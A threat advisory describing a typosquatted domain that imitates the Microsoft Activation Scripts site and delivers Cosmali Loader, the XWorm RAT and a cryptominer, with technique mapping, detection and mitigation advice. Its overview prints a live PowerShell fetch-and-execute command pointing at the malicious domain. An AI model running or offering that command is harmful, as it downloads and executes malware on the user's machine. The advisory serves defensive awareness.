Executive Summary

A clever typosquatting campaign is exploiting users of an unofficial but popular open-source tool, Microsoft Activation Scripts (MAS), to distribute malware. Researchers reported on December 26, 2025, that threat actors registered a domain, get.activate[.]win, that mimics the legitimate MAS domain by omitting a single letter. Users who make this common typo while executing the activation script in PowerShell are unknowingly infected with Cosmali Loader. This malware then deploys secondary payloads, including the XWorm Remote Access Trojan (RAT), granting attackers full remote control, and cryptocurrency mining software. The incident highlights the inherent risks of using grey-area tools and the effectiveness of typosquatting as a malware delivery vector.

Threat Overview

The attack preys on human error. The legitimate command to run the MAS script involves invoking a PowerShell command to download and execute a script from get.activated.win. The attackers registered get.activate.win (missing the 'd').

• Attack Vector: Typosquatting, a form of social engineering that relies on users making typographical errors.
• Execution: When a user runs the command irm https://get.activate.win | iex, they are not connecting to the official MAS project but to the attacker's server.
• Payload: The server delivers the Cosmali Loader, which establishes persistence and then downloads further malware.
• Final Stage: The loader deploys the XWorm RAT for remote control and a cryptominer for resource hijacking.

An unusual aspect of this campaign is that some victims reported receiving a pop-up window that stated, "You are infected with Cosmali Loader malware because you mistyped the domain name," and advised a full Windows reinstall. Security experts speculate this message was not from the attackers but from a vigilante hacker or researcher who compromised the malware's insecure command-and-control (C2) server and used it to warn victims.

Technical Analysis

1. Initial Access & Execution (T1204.002 - User Execution): The user voluntarily executes the malicious command in PowerShell.
2. Masquerading (T1036.005 - Match Legitimate Name or Location): The domain get.activate[.]win is designed to look nearly identical to the legitimate one, tricking the user.
3. Ingress Tool Transfer (T1105): The irm (Invoke-RestMethod) command downloads the initial malware script from the malicious domain.
4. Command and Scripting Interpreter (T1059.001 - PowerShell): The entire attack is initiated and executed via PowerShell, a powerful tool often abused by malware.
5. XWorm RAT Capabilities: Once deployed, XWorm provides the attacker with full RAT capabilities, including keylogging, file transfer, remote shell access, and credential theft.

Impact Assessment

While targeting users of a legally questionable tool, the impact can still be severe. Once infected with XWorm RAT, the victim's machine is completely compromised. The attacker can:

• Steal personal data, including banking credentials, social media passwords, and private files.
• Use the compromised machine as part of a botnet for DDoS attacks or further malware distribution.
• Hijack system resources to mine cryptocurrency, leading to high electricity costs and degraded performance.
• If the machine is on a corporate network, the attacker can use it as a pivot point to attack other systems.

IOCs

Detection & Response

1. DNS/Proxy Log Analysis: Monitor for any connections to the malicious domain get.activate[.]win. This is a high-fidelity indicator of compromise. This is an application of D3-UA: URL Analysis.
2. PowerShell Script Block Logging: Enable PowerShell logging (Module Logging, Script Block Logging) to capture the commands being executed. Review logs for the use of irm or iex fetching scripts from suspicious or unknown domains.
3. Endpoint Monitoring: Use an EDR solution to detect the behaviors of Cosmali Loader and XWorm RAT, such as creating persistence mechanisms (e.g., scheduled tasks, registry run keys) and injecting into legitimate processes.
4. Network Monitoring: Monitor for C2 traffic associated with XWorm or unexpected outbound connections from newly installed software.

Mitigation

1. User Education and Policy: The primary mitigation is to enforce policies against the use of illegal or unauthorized software and activation tools. Educate users on the risks associated with such tools, including malware infection.
2. DNS Filtering/Web Security Gateway: Use a web security gateway to block access to known malicious and typosquatted domains. This would prevent the initial download of the malware. This is an example of D3-DNSDL: DNS Denylisting.
3. Restrict PowerShell Usage: For standard user workstations, consider using PowerShell Constrained Language Mode to limit its ability to execute arbitrary scripts and commands. This is a form of D3-ACH: Application Configuration Hardening.
4. Principle of Least Privilege: Ensure users do not have administrative privileges on their workstations. This can limit the malware's ability to establish persistence and deeply infect the system.